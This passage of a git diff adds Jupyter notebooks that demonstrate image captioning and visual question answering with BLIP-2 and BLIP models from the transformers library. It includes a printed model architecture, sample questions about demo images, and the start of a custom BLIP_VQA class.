+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (4): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (crossattention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (5): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (6): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (crossattention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (7): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (8): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (crossattention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (9): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (10): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (crossattention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (11): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " )\n",
+ " )\n",
+ " )\n",
+ " (language_projection): Linear(in_features=768, out_features=2560, bias=True)\n",
+ " (language_model): OPTForCausalLM(\n",
+ " (model): OPTModel(\n",
+ " (decoder): OPTDecoder(\n",
+ " (embed_tokens): Embedding(50272, 2560, padding_idx=1)\n",
+ " (embed_positions): OPTLearnedPositionalEmbedding(2050, 2560)\n",
+ " (final_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+ " (layers): ModuleList(\n",
+ " (0-31): 32 x OPTDecoderLayer(\n",
+ " (self_attn): OPTAttention(\n",
+ " (k_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+ " (v_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+ " (q_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+ " (out_proj): Linear(in_features=2560, out_features=2560, bias=True)\n",
+ " )\n",
+ " (activation_fn): ReLU()\n",
+ " (self_attn_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+ " (fc1): Linear(in_features=2560, out_features=10240, bias=True)\n",
+ " (fc2): Linear(in_features=10240, out_features=2560, bias=True)\n",
+ " (final_layer_norm): LayerNorm((2560,), eps=1e-05, elementwise_affine=True)\n",
+ " )\n",
+ " )\n",
+ " )\n",
+ " )\n",
+ " (lm_head): Linear(in_features=2560, out_features=50272, bias=False)\n",
+ " )\n",
+ ")"
+ ]
+ },
+ "execution_count": 5,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "model.to(device)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 6,
+ "id": "458a2709-b904-49af-8f10-41905e1cfdc8",
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "import urllib.parse as parse\n",
+ "import os\n",
+ "\n",
+ "# a function to determine whether a string is a URL or not\n",
+ "def is_url(https://github.com/string):\n",
+ " try:\n",
+ " result = parse.urlparse(string)\n",
+ " return all([result.scheme, result.netloc, result.path])\n",
+ " except:\n",
+ " return False\n",
+ " \n",
+ "# a function to load an image\n",
+ "def load_image(image_path):\n",
+ " if is_url(https://github.com/image_path):\n",
+ " return Image.open(requests.get(image_path, stream=True).raw)\n",
+ " elif os.path.exists(image_path):\n",
+ " return Image.open(image_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 7,
+ "id": "af353956-7f42-43b3-bd5a-c720078e8a65",
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "raw_image = load_image(\"http://images.cocodataset.org/test-stuff2017/000000007226.jpg/")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 21,
+ "id": "bce7e019-d042-4f3d-9fc0-32617257f03c",
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "question = \"a\"\n",
+ "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 22,
+ "id": "8d989e92-71ed-438d-9150-31589ba00fb1",
+ "metadata": {},
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ " vintage car driving down a street\n",
+ "\n"
+ ]
+ }
+ ],
+ "source": [
+ "out = model.generate(**inputs)\n",
+ "print(processor.decode(out[0], skip_special_tokens=True))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 24,
+ "id": "d27e36e1-14bc-4535-9397-d716458594ea",
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "question = \"a vintage car driving down a street\"\n",
+ "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 25,
+ "id": "ebeea2b5-7b4d-4ef4-a2dc-c06876897361",
+ "metadata": {},
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ " with a man in the back seat\n",
+ "\n"
+ ]
+ }
+ ],
+ "source": [
+ "out = model.generate(**inputs)\n",
+ "print(processor.decode(out[0], skip_special_tokens=True))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 25,
+ "id": "b095054a-f62e-4b2e-b3af-6a5d69dae581",
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "question = \"Question: What is the estimated year of these cars? Answer:\"\n",
+ "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 26,
+ "id": "ebd05f34-0d2e-46bd-a742-aca57138fb54",
+ "metadata": {},
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ " The cars are from the early 1900's\n",
+ "\n"
+ ]
+ }
+ ],
+ "source": [
+ "out = model.generate(**inputs)\n",
+ "print(processor.decode(out[0], skip_special_tokens=True))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 87,
+ "id": "7f16721e-cc71-4c5f-b352-920381177b06",
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "question = \"Question: What is the color of the car? Answer:\"\n",
+ "inputs = processor(raw_image, question, return_tensors=\"pt\").to(device, dtype=torch.float16)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 88,
+ "id": "4e49e1aa-6260-49a6-a7ed-67e356591948",
+ "metadata": {},
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ " Green\n",
+ "\n"
+ ]
+ }
+ ],
+ "source": [
+ "out = model.generate(**inputs)\n",
+ "print(processor.decode(out[0], skip_special_tokens=True))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "id": "373c0776-1c53-467a-b9c4-afdc71702ef2",
+ "metadata": {},
+ "outputs": [],
+ "source": []
+ }
+ ],
+ "metadata": {
+ "kernelspec": {
+ "display_name": "Python 3 (ipykernel)",
+ "language": "python",
+ "name": "python3"
+ },
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": "3.10.6"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 5
+}
diff --git a/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb b/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..0c03acfb
--- /dev/null
+++ b/machine-learning/visual-question-answering/VisualQuestionAnswering_PythonCodeTutorial.ipynb
@@ -0,0 +1,6304 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "x6rzruZmaotA",
+ "outputId": "55c2cae1-5a4d-4cb5-f3d1-863ac0e98f86"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install -qU transformers"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "HBn28oF_bApo"
+ },
+ "source": [
+ "# BLIP\n",
+ "\n"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "s_eFLXZ-bGtT"
+ },
+ "source": [
+ "- https://github.com/huggingface/transformers/blob/main/src/transformers/models/blip/modeling_blip.py\n",
+ "- https://huggingface.co/Salesforce/blip-vqa-base/tree/main"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "8PfNcIxYa8kz"
+ },
+ "outputs": [],
+ "source": [
+ "import requests\n",
+ "from PIL import Image\n",
+ "from transformers import BlipProcessor, BlipForQuestionAnswering\n",
+ "import torch"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "BXLVku3Jcjrm"
+ },
+ "outputs": [],
+ "source": [
+ "# load the image we will test BLIP on\n",
+ "img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'\n",
+ "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+ "image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 241,
+ "referenced_widgets": [
+ "4f70b3f18d12429cb3f6a8921a168c00",
+ "f74bcd4d2ab04c6cb3220c2fc64257b1",
+ "76a37f30e9004067b8ba520191d64ac0",
+ "f9d5339a3d464d18846f943017f90257",
+ "5bd2087051324e1db5ca06eb9c098d19",
+ "494a7d5322c84f08b713936633c10d8a",
+ "366f53d87c6c4b0aa6fd3d167f01c5c3",
+ "af0a3bf66e8e433db1bea3b41a0c052a",
+ "9075203ea622474883993bb09cb2636c",
+ "e0a6fa485edb419da6b4c33e6d45cd9f",
+ "946e33fee00f4c2aac6406ffe83c419c",
+ "8b64a23dfc724928a5d23c904dc1595f",
+ "0324f20083ee42268aac2e7dce294907",
+ "228cbb4147cb4fcdb21866278e8f218c",
+ "88243d6adfd04c9faa5732bafc1ae615",
+ "dad6452f3a87437fbf6b691f56614711",
+ "1a27d88a39e64a09bd7007e066be7caf",
+ "2c1891a4c26042c08956982391039dfe",
+ "92d4a3333635430a88cdc38ed8158f49",
+ "f0bf68a25bf7446282f00c22d1093208",
+ "4289a56219ec41acaafdb60d3b7d1360",
+ "8005f31a31ed48d8b1a3e912b3aed139",
+ "ff519a1b9a504a13899a49385b6b9564",
+ "72e9c18021664b9f812916541fc51c7a",
+ "4e9c85779ed3400a8d8b3f14f08770b6",
+ "b11a5cb28f474ba9bd6dc98f5772fcda",
+ "430fa54d746a4743bc162b8e835a093c",
+ "1d4dd1aae7c7452298706a60c84f901d",
+ "e6998fe4f2aa4ef595e9b30b794c5549",
+ "f83d235f098a428d9f6519bba64a385f",
+ "945160da858a439d90de50ffd671396a",
+ "c697ecf18cad4be6990af0899da9503c",
+ "64f4db4f35324cab9abab95c86307a89",
+ "51838f3af71a4535afed388649e691fe",
+ "acf34873eae8493fbf953b1a8a65e177",
+ "872540ef74d6459a99e4647d2a643176",
+ "bed467f249ca47ea8b3ea57cc365dd22",
+ "a5a8f2b461064eecad9cefa57eb89423",
+ "602461cd7b5c471394ee2920b067a8f6",
+ "c163abebb6434568ac10621f99dee880",
+ "4dd5e64fe44c495d8d8d912f0ac06b82",
+ "3b88701571a342b0abea71a105fed88b",
+ "54dc179584c241dea17f59f2b9e93f47",
+ "8a7d1c368a9548d0aecb6564d7aa1bb7",
+ "a97a2a99008f4ac6be1d6377d04504fa",
+ "b217d9ea08a14ff49d274fc2aea760f8",
+ "d500132d4c434179975a124e00c4cec3",
+ "312d2d503a0f47278b47c03ddef6109f",
+ "1edf085b64f24088bd70a6a6954c8156",
+ "3bee2b1a38cc4f68a614ac2460b45f37",
+ "400bbbc0ce6e42ad9f0916a428aeff83",
+ "3bc21fd430c3426283585a874ec1ce94",
+ "37dc882c932347788e668b941222f7a2",
+ "6aedd062950c4596b734f7a98a9cce9c",
+ "5a9aba83d9734e01902c5b9bcb534ac4",
+ "14c199d355824bcfb14460c8e786aa93",
+ "18dcfde5f4c042a08b76acca0e1a6db8",
+ "e9e7c07fa5544978840f4b5c24372ff0",
+ "27635f5481f1430f9e7ec0404f5c393b",
+ "b3c518bde5bc4a5bb2c2f6528d361cc0",
+ "20e7de8cc9e34728871e040e7fe9d80d",
+ "fb7358b3d7c84e058b333694d793ef98",
+ "2a334258549d49c7ab12ae3f07f69ea9",
+ "63994cb769ce402194b4a70ea1079a3d",
+ "8c5762e71db644cfac50336e5de12ec6",
+ "2c5f5b6d6ca04df4b2fc874fdf0ca83c",
+ "ce764110e55b47469fcd0e929808d801",
+ "0c59eab53a8649cf88ed55d135981e1a",
+ "6bfee089c2c6462daf9ccd9baae21cc3",
+ "5af7e60d5fe142f6a2fb59b92c19715b",
+ "06d45a612716458e84cff4dadacde353",
+ "9d9e48cd4d5f4a0c97d7f13d6e727c09",
+ "8f1974332d694edd968fe5bb9ecba070",
+ "1a5e688c08c747eaaf5ca99b9812eec1",
+ "89e75ba649f948e0aa1d458b9800b480",
+ "10bcc231a8ba4b809be9c7c6b95b5b53",
+ "a5506cc4b437400cbfff631c20110891"
+ ]
+ },
+ "id": "MJZHoYa6a8nJ",
+ "outputId": "020751ef-b433-468b-8c8a-a5ea1c9a83d6"
+ },
+ "outputs": [],
+ "source": [
+ "# load necessary components: the processor and the model\n",
+ "processor = BlipProcessor.from_pretrained(\"Salesforce/blip-vqa-base\")\n",
+ "model = BlipForQuestionAnswering.from_pretrained(\"Salesforce/blip-vqa-base\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "aEYmYsrCeB8m"
+ },
+ "outputs": [],
+ "source": [
+ "def get_answer_blip(model, processor, image, question):\n",
+ " \"\"\"Answers the given question and handles all the preprocessing and postprocessing steps\"\"\"\n",
+ " # preprocess the given image and question\n",
+ " inputs = processor(image, question, return_tensors=\"pt\")\n",
+ " # generate the answer (get output)\n",
+ " out = model.generate(**inputs)\n",
+ " # post-process the output to get human friendly english text\n",
+ " print(processor.decode(out[0], skip_special_tokens=True))\n",
+ " return"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "JVB65c-ra8rs",
+ "outputId": "5d1c01ef-6c53-42a9-eba9-82a687791d7e"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 1\n",
+ "question = \"how many dogs are in the picture?\"\n",
+ "get_answer_blip(model, processor, image, question)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "yE36DMXxa8yl",
+ "outputId": "88d2e84a-079a-4c8a-877c-4405f9d11757"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 2\n",
+ "question = \"how will you describe the picture?\"\n",
+ "get_answer_blip(model, processor, image, question)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "c2HiOLFLa809",
+ "outputId": "ff60422e-4741-40c8-c486-ad405aceb52a"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 3\n",
+ "question = \"where are they?\"\n",
+ "get_answer_blip(model, processor, image, question)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "dreS75cKrHeT",
+ "outputId": "11d4e51a-7821-48e5-cd94-005a8a39140b"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 4\n",
+ "question = \"What are they doing?\"\n",
+ "get_answer_blip(model, processor, image, question)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Mu7OZMR1rR7Z",
+ "outputId": "70528cb7-e2ff-4a4a-db1b-f941d6745bb5"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 5\n",
+ "question = \"What the dog is wearing?\"\n",
+ "get_answer_blip(model, processor, image, question)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "8bBwZxCXa83E"
+ },
+ "outputs": [],
+ "source": [
+ "class BLIP_VQA:\n",
+ " \"\"\"Custom implementation of the BLIP model. The code has been adapted from the official transformers implementation\"\"\"\n",
+ "\n",
+ " def __init__(self, vision_model, text_encoder, text_decoder, processor):\n",
+ " \"\"\"Initialize various objects\"\"\"\n",
+ " self.vision_model = vision_model\n",
+ " self.text_encoder = text_encoder\n",
+ " self.text_decoder = text_decoder\n",
+ " self.processor = processor\n",
+ "\n",
+ " def preprocess(self, img, ques):\n",
+ " \"\"\"preprocess the inputs: image, question\"\"\"\n",
+ " # preprocess using the processor\n",
+ " inputs = self.processor(img, ques, return_tensors='pt')\n",
+ " # store the pixel values of the image, input IDs (i.e., token IDs) of the question and the attention masks separately\n",
+ " pixel_values = inputs['pixel_values']\n",
+ " input_ids = inputs['input_ids']\n",
+ " attention_mask = inputs['attention_mask']\n",
+ "\n",
+ " return pixel_values, input_ids, attention_mask\n",
+ "\n",
+ "\n",
+ " def generate_output(self, pixel_values, input_ids, attention_mask):\n",
+ " \"\"\"Generates output from the preprocessed input\"\"\"\n",
+ "\n",
